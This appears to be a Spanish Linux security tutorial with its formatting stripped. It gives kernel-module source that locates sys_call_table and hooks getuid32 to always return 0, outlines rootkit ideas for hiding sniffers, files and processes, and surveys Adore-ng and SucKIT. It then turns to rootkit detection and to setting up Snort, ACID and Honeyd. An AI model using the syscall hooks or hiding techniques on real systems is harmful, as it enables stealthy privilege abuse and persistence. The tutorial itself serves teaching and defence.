Resulta que tenemos una IDT y una GDT (tabla de descriptores global) de manera que cuando queremos acceder a una syscall de sistema usando IDT + GDT se ejecuta una syscall definida iquestdefinida doacutende pues en archi386entryS gentileza del propio Linus Torvalds -)

El hack

Lo ideal seriacutea que editar (soacutelo lectura) archi386entryS para buscar una parte igual o muy similar a la que muestro en la serie 24 cambia ligeramente pero la idea es la misma

usrsrclinuxarchi386kernelentryS

Liacuteneas 225 a 259 de mi kernel 2614 sobre la 277 en versiones 269 y otras ndash por supuesto- esto es asi debido a algunos cambios que se han ido haciendo en el desarrollo

system call handler stub

1 ENTRY(system_call) 2 pushl eax save orig_eax 3 SAVE_ALL 4 GET_THREAD_INFO(ebp) 5 testw

$(_TIF_SYSCALL_EMU|_TIF_SYSCALL_TRACE|_TIF_SECCOMP|_TIF_SYSCALL_AUDIT)TI_ flags(ebp)

6 jnz syscall_trace_entry 7 cmpl $(nr_syscalls) eax 8 jae syscall_badsys 9 syscall_call 10 call sys_call_table(eax4) 11 movl eaxEAX(esp) 12 syscall_exit 13 [ continuacutea]

He omitido algunos comentario del fichero y demaacutes por brevedad

Atencioacuten en la liacutenea que va justo despueacutes de la etiqueta syscall_call ahiacute lo que hace es hacer una llamada pasando en el registro EAX el nuacutemero de la syscall En el mismo fichero entryS maacutes abajo deberiacutea haber algo como lo que sigue esto era cierto hasta las versiones 269 y otras pero recientemente y una vez maacutes esto ha cambiado un poco y ahora tenemos en mi kernel 2614 un fichero ldquosyscall_tableSrdquo en el mismo lugar que contiene una tabla con las llamadas al sistema no sabriacutea decir si es maacutes coacutemodo o no pero lo cierto es que lo deja con un aspecto maacutes bonito para trabajar

Esto es parte de su contenido

Kernel hacks y seguridad JMP

data ENTRY(sys_call_table)

long sys_restart_syscall 0 - old setup() system call

long sys_exit long sys_fork long sys_read long sys_write long sys_open long sys_close long sys_waitpid long sys_creat long sys_link long sys_unlink long sys_execve

long sys_chdir long sys_time long sys_mknod long sys_chmod long sys_lchown16 long sys_ni_syscall long sys_stat long sys_lseek

long sys_getpid long sys_mount long sys_oldumount long sys_setuid16 long sys_getuid16 long sys_stime long sys_ptrace long sys_alarm long sys_fstat long sys_pause long sys_utime long sys_ni_syscall long sys_ni_syscall long sys_access

long sys_nice long sys_ni_syscall long sys_sync long sys_kill long sys_rename long sys_mkdir long sys_rmdir long sys_dup long sys_pipe long sys_times long sys_ni_syscall long sys_brk long sys_setgid16 long sys_getgid16 long sys_signal long sys_geteuid16 long sys_getegid16 long sys_acct long sys_umount long sys_ni_syscall

y continuacutea

used for restarting

5

10

15

old break syscall holder

20

25

30 old stty syscall holder old gtty syscall holder

35 - old ftime syscall holder

40

old prof syscall holder 45

50

recycled never used phys() old lock syscall holder

Kernel hacks y seguridad JMP

Arriba donde dice sys_restart_syscall seriacutea la syscall 0 y sys_exit la 1 bien ese es el lugar para ir a mirar el siacutembolo correspondiente

Ahora tenemos que volcar el contenido de entryo (fichero objeto) del mismo directorio actual de entryS buscando algo MUY concreto queremos esa direccioacuten maacutegica y especial que tan ansiadamente buscamos

Procedo a usar GDB para desensamblar el fichero como muestro en la figura

Muy bien ahora ya hemos encontrado la direccioacuten que queriamos y apartir de esa direccioacuten ya es posible encontrar la sys_call_table

Lo podemos comprobar tambieacuten haciendo un volcado del fichero objeto con objdump

objdump -d entryo|grep ff 14 85

Ahora muestro un coacutedigo bastante probado que de una manera bastante ya estandarizada nos consigue la Sys_call_table[] para poder usuarla como cuando antes la exportabamos

El coacutedigo puede parecer un poco complicado pero hace lo que se ha explicado justo arriba y finalmente nos devuelve la direccioacuten donde se encuentra con un puntero

Kernel hacks y seguridad JMP

Obtenemos la sys_call_table[] en kernels de la serie 26 test

include ltlinuxinithgt include ltlinuxmodulehgt include ltlinuxkernelhgt include ltlinuxmmhgt para las pruebas include ltasmunistdhgt IDT struct

unsigned short off1 unsigned short sel unsigned char noneflags unsigned short off2

__attribute__ ((packed)) idt

IDTR struct

unsigned short limit unsigned int base

__attribute__ ((packed)) idtr el hook uid_t ( restaura)(void) la Sys_call_table ya no se exporta int sys_call_table siempre uid 0 ) uid_t cero_uid(void)

return 0 el hack static void syscalltable(void)

unsigned int offsi char sccall[128] ok necesitamos IDT toca usar asm() asm(sidt 0 =m (idtr))

printk(KERN_ALERT[IDTR] Base en 0xxn idtrbase) idt[80h]

memcpy(ampidt(void )(idtrbase+80x80) sizeof(idt)) offs = (idtoff2 ltlt 16) | idtoff1 printk(KERN_ALERT [IDT(80h)] Descriptor en 0xxn

verificando calln offs) memcpy(sccall (void )offs 128) vamos a ver si encontramos la cadenita FF1485 por ah) i=0while((ilt128) ampamp ((sccall[i] == xff) ampamp (sccall[i+1]== x14) ampamp (sccall[i+2]== x85)))

i++ sys_call_table =(void) ((int ) ampsccall[i+3])

printk(KERN_ALERT [OK] Sys_call_table -gt 0xpn sys_call_table) aqula tenemos ) NO verifico que no se haya encontrado P

Kernel hacks y seguridad JMP

empieza static int __init buscarsct(void)

printk(KERN_ALERT [CARGADO] Buscando Sys_call_tablen)

syscalltable() fundamental vamos a ver si es verdad ) restaura=sys_call_table[__NR_getuid32]

sys_call_table[__NR_getuid32]=cero_uidreturn 0

lo ponemos todo en orden static void __exit descarga(void)

sys_call_table[__NR_getuid32]=restaura printk(LKM descargado)

module_init(buscarsct) module_exit(descarga) ya estamos ) MODULE_LICENSE(GPL)MODULE_AUTHOR(Jose Miguel Porcel G)MODULE_DESCRIPTION(Obtener la Sys_call_table[])

Es este punto lo maacutes importante de ese coacutedigo ndash ya explicado - es maacutes bien saber que se puede utilizar esa funcioacuten syscalltable() en el resto de programas para obtener la Sys_call_table y poder usarla sin maacutes como se ha visto en el resto de LKMs anteriores

81- Otra alternativa iquestmaacutes sencilla

Si bien acabo de decir que el meacutetodo anterior estaacute muy probado yo he utilizado en kernels de la serie 26 (269 concretamente y otros) un mecanismo auacuten maacutes personalizado tanto que NO he podido probarlo al 100 y aunque el gancho (hook) siempre se ha realizado con eacutexito por alguacuten motivo en alguna maacutequina (ajena) se ha vuelto inestable el sistema provocando volcados de memoria y otros problemas con el stack que ponian el kernel en una especie de bucle aunque esto en los peores casos

No obstante el coacutedigo algo depurado ha funcionado perfectamente en mi ordenador AMD Athlon XP 1600+ (32bits) con Kernel de la serie 26 sin problema alguno

La idea del LKM va un poco maacutes allaacute de lo que se pretende en este trabajo puesto que habriacutea que explicar algunas otras cosas que se salen algo de la temaacutetica el caso es que si hechamos un vistazo a ltasmprocessorhgt donde se encuentra una estructura llamada cpuinfo_x86 con un montoacuten de informacioacuten muy interesante como el resto del fichero la verdad donde hay varias menciones a loops_per_jiffy y boot_cpu_data que son las uacutenicas cosas de eacuteste coacutedigo no habreacute tratado hasta ahora

Baacutesicamente lo que hacemos es encontrar SYS_exit y a partir de ahiacute la Sys_call_table el coacutedigo aunque no esta mal no es perfecto ni mucho menos

usrsrclinuxincludeasm $ vim processorh

Kernel hacks y seguridad JMP

1 include ltlinuxmodulehgt 2 include ltlinuxkernelhgt 3 include ltlinuxinithgt 4 include ltasmtypeshgt 5 include ltasmprocessorhgt 6 include ltasmunistdhgt 7 int sys_call_table 8 uid_t ( restaura)(void) 9 uid_t cero_uid(void) 10 printk([] probando h00kn) 11 return 0 12 13 static int __init 14 carga (void) 15 16 unsigned long pointr 17 unsigned long sys 18 extern int loops_per_jiffy 19 sys_call_table = NULL 20 printk (KERN_ALERT Buscando Sys_call_table n) 21 printk (gtgt Localizando __NR_exit) 22 buscamos la sys_call_table[] ) 23 for (pointr = (unsigned long) amploops_per_jiffy 24 pointr lt (unsigned long) ampboot_cpu_data 25 pointr += sizeof (void )) 26 sys = (unsigned long ) pointr 27 if (sys[1] == (unsigned long) __NR_exit) 28 sys_call_table = (void ) sys 29 sys_call_table -= 304 calculado ) 30 printk ( OKn__NR_exit localizado en 0xpn 31 (void ) sys_call_table[__NR_exit]) 32 break 33 34 35 ya la tenemos ) o no ( 36 if (sys_call_table) 37 printk (KERN_ALERT 38 n[ERR] No pudo ser rmmod modulon) 39 return 0 40 41 printk (KERN_ALERT 42 gtgt Sys_call_table[] localizada -gt 0xpn 43 sys_call_table) 44 restaura=sys_call_table[__NR_getuid32] 45 sys_call_table[__NR_getuid32]=cero_uid 46 return 0 47 48 static void __exit 49 descarga (void) 50 printk(Descargado) 51 sys_call_table[__NR_getuid32]=restaura 52 53 module_init (carga) 54 module_exit (descarga) 55 MODULE_LICENSE(GPL) 56 MODULE_AUTHOR(Jose Miguel Porcel G) 57 MODULE_DESCRIPTION(Alternativa para encontrar la

Sys_call_table[])

Kernel hacks y seguridad JMP

Imagen conceptual del proceso

Kernel hacks y seguridad JMP

9- Hooks y hacks de intereacutes (algunas ideas)

Algunas cosas que podemos hacer en el Kernel

Ocultar un sniffer

Resulta que podemos cambiar los flags de una tarjeta de red y ocultar ese PROMISC delatador mediante la syscall SYS_ioctl se pueden hacer otras muchas cosas con eso si pensamos en lo que hace ioctl() que es controlar dispositivos

Ocultar ficheros y procesos

iquestQueacute hacemos al abrir un fichero Usar getdents() lo mismo para mirar los procesos mapeados en proc y por tanto iquestQueacute podemos hacer nosotros para manipular ese proceso efectivamente usar SYS_getdents basta con leer la documentacioacuten de las manual pages de getdents para saber como funciona )

Manipular execve()

Lo que hace execve es baacutesicamente ejecutar otro programa pero hay una pega y es que en nuestro LKM execve necesita hacer una serie de operaciones previas como usar la pila (stack) con los paraacutemetros Pero el Kernel y nosotros estamos preparados para ese problemilla si miramos en unistdh vemos que hay una serie de syscalls nulas sin ir maacutes lejos la 222 no estaacute puesto que es una sys_ni_syscall y pide a gritos que la usemos por lo que movemos la SYS_execve original a esa posicioacuten nula ( u otra de tu conveniencia) para llamarla desde otra funcioacuten nuestra pero claro iquestcoacutemo llamamos a execve Si lo hacemos directamente la cosa no va a funcionar por lo que comentaba y si hacemos el hook eso que es imprescindible que suceda no va a pasar de manera que necesitamos una buena manera de llamar a execve y que mejor que mirar como lo hace el Kernel iquestno

usrsrclinuxincludeasm $ vim unistdh

En unistdh ndash evitando tratar nada sobre ensamblador ndash encontramos que execve() requiere tres argumentos de manera que necesitamos la macrointrusioacuten (expandida por el preprocesador) que permitiraacute llamar a la funcioacuten con tres paraacutemetros en el caso que nos ocupa execve() es generada por _syscall3 que inicializa los registros del preprocesador y desencadena la Int 0x80 poniendo en la variable global errno el coacutedigo de error tiacutepicamente -1 si hay eacutexito se vuelve a quien llamoacute

Nos basta entonces con rellenar esa macrointrusioacuten para interceptar execve() correctamente en el siguiente coacutedigo __NR_mi_execve sustituye a la __NR_execve original

Kernel hacks y seguridad JMP

inicio

int mi_execve(const char filen char const argv [] char const envp[])int errnolong __res __asm__ volatile (int $0x80 =a (__res)

0 (__NR_mi_execve)b ((long)(filen)) c ((long)(argv)) d ((long)(envp)))

__syscall_return(long__res)

final

Ese seriacutea el coacutedigo a usar para poder tratar con execve() desde el nuacutecleo con un LKM

10- Rootkits visioacuten general

Con lo que hemos ido viendo en este trabajo salta a la vista que tpodemos desarrollar aplicaciones maacutes que intersantes de cara a su uso en sistemas comprometidos una vez descubierta una vulnerabilidad en un sistema y tras el eacutexito en su explotacioacuten procedemos a obtener y asegurar un mayor control sobre el host

Los rootkits son hoy por hoy uno de los mecanismos maacutes sofisticados para conseguir ese objetivo Se trata de un kit de herramientas que permiten al atacante mantenere el control total sobre el sistema de forma continuada con los maacuteximos privilegios y siempre intentando hacerlo de forma indetectable para los administradores del sistema yo de la red

De los primeros rootkits en la historia de los sistemas ldquounix-likerdquo hay que destacar dos el rootkit de SunOS4 y el Linux Root Kit ldquolrk3rdquo (Diciembre 1996) Maacutes ejemplos seriacutean ldquoheroincrdquo y luego Knark como consecuencia de este nuevo tipo de teacutecnicas

Uno de los primeros textos al respecto distribuido en Internet fue ldquoHiding Out Under Unix rdquo por Black Tie Affair (Phrack vol3 issue 25 1989) Ni que decir tiene que el presente documento estaacute bastante maacutes avanzado que ese texto y va mucho maacutes allaacute

Tal y como se ha ido viendo en el presente trabajo y a medida que el Kernel se ha ido desarrollando el tema ha ido avanzando bastante y han surgido todo tipo de rootkits no solo para los sistemas Solaris Unix o Linux sino tambieacuten para FreeBSD y Windows entre otros

Los rootkits actuales no utilizan los mismos vectores de ataque sino que muchos se apoyan en otras teacutecnicas distintas a las contempladas por mi en este trabajo ademaacutes hay que comentar que la efectividad de un rootkit pasa tambieacuten por mantener su coacutedigo fuente oculto al uso puacuteblico a las empresas y los desarrolladores de soluciones para la seguridad

Kernel hacks y seguridad JMP

Ejemplo de un rootkit moderno ldquoAdore-ngrdquo

Adore-ng es un interesante (pero conocido) rootkit que puede funcionar en los kernels maacutes recientes sin problema alguno para intentar mantenerse oculto e indetectable utiliza una novedad respecto a muchos rootkits ya que no usa sys_call_table [] sino que se basa en la redireccioacuten a nivel de capa VFS de Linux ademaacutes tiene una utilidad para infectar moacutedulos cargados en el nuacutecleo Un interesante atiacuteculo por parte de ldquoStealthrdquo (junto con el grupo TESO son autores de Adore) es ldquoKernel Rootkit Experiencesrdquo donde habla de sus experiencias como autor de Adore y la situacioacuten en aquel momento de la investigacioacuten sobre nuevas teacutenicas entre otras cosas aunque no se trata de un texto extenso

Sus caracteriacutesticas ldquobaacutesicasrdquo vienen incluidas en el fichero FEATURES de mi descarga de Adoreshyng de Internet e indica ndash entre otras cosas- lo siguiente

Runs on kernel 24x UP and SMP systems

First test-versions successfully run on 260

File and directory hiding

Process hiding

Socket-hiding (no matter whether LISTENing CONNECTED etc)

Full-capability back door

Does not utilize sys_call_table but VFS layer

KISS principle to have as less things in there as possible but also being as much powerful as possible

Por otro lado el fichero README indica el proceso de instalacioacuten de Adore Tras su compilacioacuten y

Kernel hacks y seguridad JMP

carga en el sistema (requiere privilegios de root) podremos usar el cliente AVA para comunicarnos con la parte ldquoservidorardquo de Adore-ng aunque explicar el uso de este rootkit al detalle queda fuera de las pretensiones de este texto y en ninguacuten caso aporta nada de intereacutes adicional puesto que no es el objetivo hacer de script kiddie con Adore

La siguiente tabla introduce al famoso rootkit ldquoSucKITrdquo para mostrar algunos datos de intereacutes

Adore ~034 SucKIT Adore-ng gt=131

Interceptando el flujo de ejecucioacuten

Syscalltable Syscall handler VFS

Transferencia coacutedigo dentro del Kernel

LKM Acceso directo (raw shycrudo) a memoria

LKM

Incluye puerta trasera - Siacute -

Mecanismos de recarga - sbininit Herramienta para infeccioacuten LKMs

Tabla Comparativa de algunos rootkits

Medidas de proteccioacuten y deteccioacuten de rootkits

Aunque no es el objetivo del documento explicar las teacutecnicas de deteccioacuten de rootkits y puertas traseras de forma exhaustiva se comentan a continuacioacuten algunas utilidades praacutecticas para protegerse de este tipo de software en nuestros sistemas

Una de las maneras maacutes directas es chequear Systemmap con las direcciones de memoria de las syscalls actuales en principio deberian ser las mismas pero si un rootkit modifica la direccioacuten a la que apunta la syscall podremos notar que hay una diferencia cierto offset de la syscall original y la suplantada Existen varios programas en entorno de usuario que permiten hacer esto sin excesiva complicacioacuten

Aquiacute se muestra el inicio del fichero usrsrclinuxSystemmap

linux head Systemmap

00100000 A phys_startup_32c0100000 A _textc0100000 T startup_32c01000c6 t checkCPUtypec0100147 t is486c010014e t is386c0100199 t L6c010019b t check_x87c01001c2 t setup_idtc01001df t rp_sidt

Kernel hacks y seguridad JMP

Otros meacutetodos tiacutepicos

Checksums de ficheros importantes (tripwire aide etc)

Backup de las estructuras centrales del kernel (kstat)

LKMs anti-rootkit

Herramientas forenses (TCT)

Analisis de logs etc

Utilidades para la deteccioacuten (rkhunter chkrootkit)

Enlaces en Internet para la descarga de utilidades e informacioacuten sobre las herramientas

httpwwwchkrootkitorg

httpwwwrootkitorg

Conclusiones

Las aplicaciones que tiene hackear el Kernel son varias desde el punto de vista de la seguridad y es que lo mismo podemos demoler la seguridad de un sistema troyanizando absolutamente todo el sistema como dotar al entorno de habilidades especiales para controlar al miliacutemetro todo lo que sucede y poder hacer un seguimiento exhaustivo de las acciones de un atacante

Kernel hacks y seguridad JMP

Snort el cerdito valiente

SNORT es us sistema para la deteccioacuten de intrusos OpenSource que nos permite monitorear el traacutefico de nuestra red y detectar vulnerabilidades conocidas asiacute como todo tipo de ataques conocidos a nuestra red

Su instalacioacuten es relativamente sencilla y no supone una carga importante para el sistema por lo que se recomienda su uso como medida de seguridad adicional combinando SNORT con otros sistemas y un buen firewall restrictivo aumentamos considerablemente la seguridad en nuestra red y el seguimiento de posibles incidencias

Wreski y Christopher Pallack en Linuxsecuritycom

ldquo A Network Intrusion Detection System (NIDS) is a system that is responsible for detecting anamolous inappropriate or other data that may be considered unauthorized occuring on a network Unlike a firewall w hich is configured to allow or deny access to a particular service or host based on a set of rules If the traffic matches an acceptible pattern it is permitted regardless of what the packet contains However an NIDS captures and inspects all traffic re gardless of whether its permitted or not Based on the contents at either the IP or application level an alert is generated

Snort is a lightweight NIDS in that it is non-intrusive easily configured utilizes familiar methods for rule development and takes only a few minutes to install Snort currently includes the ability to detect more than 1100 potential vulnerabilities Keep in mind that Intrusion Detection devices work in conjunction with other security measures and are not a replacement for other good security practices ldquo

Kernel hacks y seguridad JMP

1- Preparando el entorno de trabajo

Lo primero que tenemos que hacer es obtener una copia de Snort para nuestra distribucioacuten de Linux (ya que vamos a trabajar en esta plafatorma) por lo que tendremos que usar los mecanismos apropiados en nuestra distribucioacuten en mi caso particular

root emerge -pv snort

These are the packages that I would merge in order

Calculating dependencies done [ebuild R ] net-analyzersnort-243 -flexresp -inline +mysql -odbc shypostgres -prelude (-selinux) -sguil -snortsam +ssl 0 kB

Total size of downloads 0 kB

No obstante podemos obtener los paquetes y el coacutedigo fuente de la URL

httpwwwsnortorgdl

Una vez instalado Snort procederemos a su configuracioacuten tal y como iremos viendo antes de proceder a arrancar el servicio

2- Configuracioacuten baacutesica de Snort

Para empezar debemos buscar un fichero llamado ldquosnortconfrdquo que contiene la configuracioacuten de

Kernel hacks y seguridad JMP

Snort Dicho fichero se puede encontrar en

etcsnortsnortconf

pero puede que esteacute ubicado en otra localizacioacuten dependiendo de tu distribucioacuten en mi caso trabajo con Gentoo Linux asi que de ahora en adelante habraacute que tener este pequentildeo matiz en consideracioacuten para el futuro

Antes de empezar es aconsejable realizar una copia del fichero original es posible que ya se haya incluido dicha copia con el paquete de Snort no obstante es muy aconsejable hacerlo sino es el caso

El fichero trae comentarios detallados sobre la funcionalidad de las directivas de Snort por lo que en el presente documento solamente se trataraacute de forma general sin entrar en excesivos detalles sobre absolutamente todas las opciones que Snort trae con el objetivo de no alargar el documento de forma innecesaria

Tal y como nos indica el inicio del fichero son 5 los pasos a seguir en ese fichero

1 Establecer las variables para nuestra red

2 Configurar el preprocesador de Snort

3 Configurar los plugins de salida

4 Antildeadir directivas para la configuracioacuten en ejecucioacuten de Snort

5 Personalizar nuestro set de reglas para Snort

La figura anterior desglosa las partes en las que Snort se compone para llevar a cabo su tarea

Paso 1

Debemos indicar como estaacute montada nuestra red e identificarnos no es buena idea dejar esto con un valor ldquoanyrdquo o por defecto asiacute que lo modificamos como sea necesario

Kernel hacks y seguridad JMP

var HOME_NET 1921681124 o bien var HOME_NET $eth0_ADDRESS

Maacutes de lo mismo indicamos los hosts que forman nuestra red podemos hacerlo de varias manera y esta es la maacutes adecuada para redes locales medianas o grandes

var HOME_NET 1921681124

Ahora configuramos la red externa con el valor ldquocualquierardquo es un buen comienzo

var EXTERNAL_NET any

Indicamos la lista de servidores DNS SMTP etc de nuestra red si los hay

var DNS_SERVERS $HOME_NET

var SMTP_SERVERS $HOME_NET

[]

Ahora viene un paso importante que es definir los puertos con servicios que Snort debe vigilar y sobre los cuales se desean detectar ataques si tenemos un servidor web (tiacutepicamente Apache en el puerto 80) podemos hacer lo que se muestra en el ejemplo siguiente indicaacutendolo de manera continua (221024) o por puertos individuales (212253808080 ) Tambieacuten podemos incluir ficheros de reglas tal y como se muestra en los ejemplos dentro del fichero de configuracioacuten

var HTTP_PORTS 80 var BO-BACKDOOR 31337

var NO_SSH 22 include mis_directivasrules

Ahora podemos configurar ciertos aspectos del decodificador de Snort hecho esto podemos pasar a la configuracioacuten del motor de deteccioacuten Si andamos escasos de recursos en nuestra maacutequina es MUY recomendable usar

config detection search-method lowmem

Paso 2

Podemos habilitar soporte para defragmentacioacuten IP asiacute podremos detectar cierto tipo de ataques (DoS normalmente) que usen esa teacutecnica asiacute como evitar la evasioacuten de Snort mediante teacutecnicas maacutes o menos avanzadas

Por ejemplo preprocessor frag2

Kernel hacks y seguridad JMP

preprocessor frag3_global max_frags 65536 preprocessor frag3_engine policy first detect_anomalies

Stateful-inspection y Stream Reassembly si queremos detectar ataques de escaneo de puertos ocultos tiacutepicamente Syn-Stealth o de cualquier otro tipo asiacute como otros ataques baacutesicos esta es la seccioacuten a modificar Por ejemplo

preprocessor stream4 detect_scans

preprocessor stream4_reassemble

Performance Statistics tal y como dice el fichero aquiacute hay MUCHAS posibilidades que no se van a tratar aquiacute asiacute que lo mejor seraacute mirar el propio manual y documentacioacuten de Snort al respecto Lo dejaremos con los valores por defecto recomendados

A continuacioacuten hay algunas directivas sobre la inspeccioacuten de traacutefico de Back Oriffice (troyano miacutetico del grupo Cult Of Dead Cow) traacutefico RPC posible ARP spoof traacutefico Telnet etc A configurar a gusto del consumidor o bien dejamos los valores por defecto

Paso 3

Aquiacute podemos indicar cosas referentes al formato de salida de logs y demaacutes por ejemplo en el formato de ldquotcpdumprdquo en una base de datos (MySQL) salida por el Syslog de sistema

Paso 4

Aquiacute podemos leer el manual para obtener informacioacuten detallada de las posibilidades para personalizar un poco maacutes el funcionamiento de Snort es un tema que no vamos a cubrir ahora por lo que podemos dejara los valores por defecto recomendados

Paso 5

Ahora podemos antildeadir nuestras propias reglas para la deteccioacuten de actividad sospechosa u ataques a nuestra red Este tema lo tratamos a continuacioacuten por separado podemos obtener reglas pre-configuradas de Internet aparte de las que el mismo Snort trae consigo

3- Descargando nuevas reglas desde Internet

Gracias al esfuerzo de la comunidad por mantener las cosas en orden y seguras podemos ir actualizando nuestro set de reglas o descargar nuevas funcionalidades la primera web recomendada (aunque no la uacutenica al respecto) y a la que me voy a limitar es

httpwwwsnortorgrules

yo

Kernel hacks y seguridad JMP

httpwwwsnortorgpub-bindownloadscgi

Nos basta con descomprimir las reglas y ajustar la configuracioacuten de snortconf como sea necesario para apuntar a los ficheros de reglas que queremos habilitar

Por supuesto podemos crear nuestras propias reglas para saber como hacerlo es mejor - una vez maacutes ndash mirar la documentacioacuten actualizada de Snort al respecto

4- Prevencioacuten de intrusiones

Aquiacute se muestra Snort actuando como interceptor de sesiones se trata de examinar las sesiones establecidas por un atacante y sus intentos si algo resulta hostil se envia un paquete RST para terminar la conexioacuten de inmediato En el ejemplo tras el intento de atacar el servidor apache se da por terminada la sesioacuten expliacutecitamente gracias a Snort

Nota Tanto el firewall como Snort y el servidor web estaacuten conectados entre si el servidor apache accesible desde el exterior estaacute situado en la DMZ

Ahora Snort (con el parche inlineIPS aplicado) actuacutea como firewall-routerIPS estando como Gateway

httpsnort-inlinesourceforgenet (configure - -enable-inline)

Una vez detectado traacutefico hostil fruto de un ataque el traacutefico futuro del host atacante seraacute bloqueado

Kernel hacks y seguridad JMP

Para terminar se muestra otro ejemplo con el plugin SnortSAM en el que cuando un ataque se detecta se pide al router el bloqueo del traacutefico entrante del host origen del ataque Si el host antes de ser bloqueado abre una puerta trasera con otro host bajo su control esto puede suponer un riesgo para la seguridad de la red

httpwwwsnortsamnet

5- Usando ACID + SNORT

Con ACID pretendemos encontrar un mecanismo de control y uso centralizado de SNORT simplificado accesible viacutea web

Kernel hacks y seguridad JMP

La instalacioacuten de Snort con ACID (Analysis Console for Intrusion Detection) pasa por una serie de requisitos y dependencias podemos echar un vistazo al sitio web de ACID para descargar el software y documentacioacuten

httpacidlabsourceforgenet

La versioacuten maacutes reciente de ACID es ahora 096_beta23 (seguacuten Portage en mi distribucioacuten no he mirado el CVS) se recomienda tener precauciones respecto a las posibles vulnerabilidades en el coacutedigo de la aplicacioacuten que puedan ir surgiendo mientras el software adquiere un mayor nivel de maduracioacuten en el desarrollo

Luego necesitaremos a ser posible

Apache soporte GD OpenSSL MySQL

PHP soporte GD OpenSSL MySQL

MySQL

ACID soporte adodb jpgraph phplot GD

Y claro esta Snort con soporte para MySQL

Procederemos a instalar los paquetes y configurar una nueva bases de datos para Snort en MySQL usando para ello la estructura que se nos facilita en los paquetes para la instalacioacuten para crear las tablas en la base de datos Tambieacuten daremos de alta un usuario en MySQL con los privilegios estrictamente necesarios

Ejemplo

$ mysql -u root -p

mysql gt CREATE DATABASE snort

mysql gt GRANT ALL ON snort to rootlocalhost identified by password

$ mysql -u root -p pass lt usrsrcsnort-xxschemascreate_mysql_snort

Necesitaremos descargar los paquetes y descomprimirlos bajo el Document Root de nuestro servidor WEB (Apache) varwwwhtdocs por ejemplo Por tanto es importante respetar el orden en la instalacioacuten de las dependencias

Lo siguiente muestra alguna de la informacioacuten que hay que editar del fichero ldquoacid_confphprdquo para que todo funcione correctamente con la base de datos MySQL Una vez instalado bastaraacute con visualizar la consola ACID desde nuestro navegador apuntando a la URL donde hemos instalado todo por ejemplo http127001acid

Alert DB connection parameters

Kernel hacks y seguridad JMP

- $alert_dbname MySQL database name of Snort alert DB

- $alert_host host on which the DB is stored

- $alert_port port on which to access the DB

- $alert_user login to the database with this user

- $alert_password password of the DB user

This information can be gleaned from the Snort database

output plugin configuration

$alert_dbname = snort_log

$alert_host = localhost

$alert_port =

$alert_user = root

$alert_password = mypassword

Archive DB connection parameters

$archive_dbname = snort_archive

$archive_host = localhost

$archive_port =

$archive_user = root

$archive_password = mypassword

Esquema baacutesico de la base de datos de ACID y su funcionamiento con Snort

Kernel hacks y seguridad JMP

Creacioacuten de reglas propias para Snort

Podemos separar las reglas en grandes bloques accioacuten+cabecera y opciones

CABECERA

Accioacuten de la regla alert

Protocolo tcp udp

Direccion IP origen $EXTERNAL_NET

Puerto IP origen any

Direccion IP destino $HOME_NET

Puerto IP destino any

Direccioacuten de la operacioacuten -gt (puede ser -gt lt- ltgt)

OPCIONES

Mensaje ldquohola directivardquo

Opciones flags Aack 0 reference

Ej drop tcp any any -gt any 22 (classtypeattempted-user msgrdquoIntento de conectar al puerto SSHrdquo)

El coacutedigo anterior haraacute que las conexiones al puerto 22 sean logueadas y bloqueadas una vez antildeadida la regla dentro de las directivas de Snort

Para documentacioacuten detallada y actualizada sobre las reglas de Snort y lo referente a las opciones se recomienda visitar el sitio oficial de Snort en Internet wwwsnortorg

Conclusiones

Debido a que un cortafuegos no es una medida realmente segura para proteger nuestra red se hace necesario detectar aquellos ataques que se realizan con eacutexito contra nuestros sistemas Los sistemas de deteccioacuten y de prevencioacuten de intrusiones ndash Snort en el caso que nos ocupa ndash junto con poliacuteticas de seguridad adicionales como SELinux y GRSecurity nos brindan un nivel de seguridad mucho mayor asiacute como la capacidad de estudiar posibles ataques para poder evitarlos en un futuro

Una vez maacutes la soluciones opensource estaacuten muy por encima en calidadprecio con respecto a otras alternativas comerciales

Kernel hacks y seguridad JMP

Honeypots

Una de las teacutecnicas maacutes habituales para proteger nuestras redes y aprender de nuestros atacantes es usar sistemas abiertos con el fin de atraer (o distraer) la atencioacuten de nuestros posibles intrusos

Los honeypots son simplemente eso sentildeuelos que nos permiten mantener la red un poco maacutes protegida mientras estos sistemas son comprometidos y controlados a voluntad por el administrador del sistema

Aunque existen muchas soluciones para implementar honeypots en este trabajo se trataraacute principalmente con ldquoHoneydrdquo

Kernel hacks y seguridad JMP

1- Preparando el entorno de trabajo

Lo primero que habraacute que hacer es obtener una copia de ldquoHoneydrdquo y opcionalmente ldquoArpdrdquo compilarlas e instalarlas en el sistema que pretende hacer de sentildeuelo estaacute claro que no hay que instalarlo en un equipo en produccioacuten P

net-analyzerhoneyd Latest version available 10-r1 Latest version installed 10-r1

Size of downloaded files 2566 kB Homepage httpwwwcitiumicheduuprovoshoneyd Description Honeyd is a small daemon that creates virtual hosts on a network License GPL-2

De las siguientes direcciones nos interesa ademaacutes toda la documentacioacuten que podamos encontrar al respecto

httpwwwhoneydorg

httpwwwcitiumicheduuprovoshoneyd

Debemos editar el fichero de configuracioacuten para establecer nuestras preferencias como sea necesario y arrancar el servicio honeyd

Config file for etcinitdhoneyd

Set Network addressHONEYD_NET=10001

HONEYD_IF=lo

HONEYD_LOG=varloghoneydlog

Set to 1 to enable (gt=honeyd-10)HONEYD_HTTPD=0HONEYD_HTTPD_PORT=80HONEYD_HTTPD_ROOT=usrsharehoneydwebserverhtdocs

Kernel hacks y seguridad JMP

Set preferred options here HONEYD_OPTS=-f etchoneydconf -p usrsharehoneydnmapprints

-x usrsharehoneydxprobe2conf -a usrsharehoneydnmapassoc

Otras alternativas a honeyd podriacutean ser sistemas como VMWare User Mode Linux etc

Un interesante ldquopaperrdquo es el de Lance Spitzner disponible en

httpwwwtracking-hackerscompapershoneypotshtml (9 May 2003)

2- Creando sistemas virtuales

Para crear los sistemas virtuales debemos editar el contenido de ldquousrsharehoneydrdquo en mi caso para conseguir nuestro objetivo de simulacioacuten por ejemplo tenemos el fichero ldquoconfigrdquo concretamente configsample que es un ejemplo de configuracioacuten lo probamos copiando honeydconf dentro de etc (en mi caso particular)

Su contenido se muestra a continuacioacuten

route entry 10001 route 10001 link 1020024 route 10001 add net 1030016 10301 latency 8ms bandwidth 10Mbps route 10301 link 1030024 route 10301 add net 1031024 10311 latency 7ms loss 05 route 10311 link 1031024

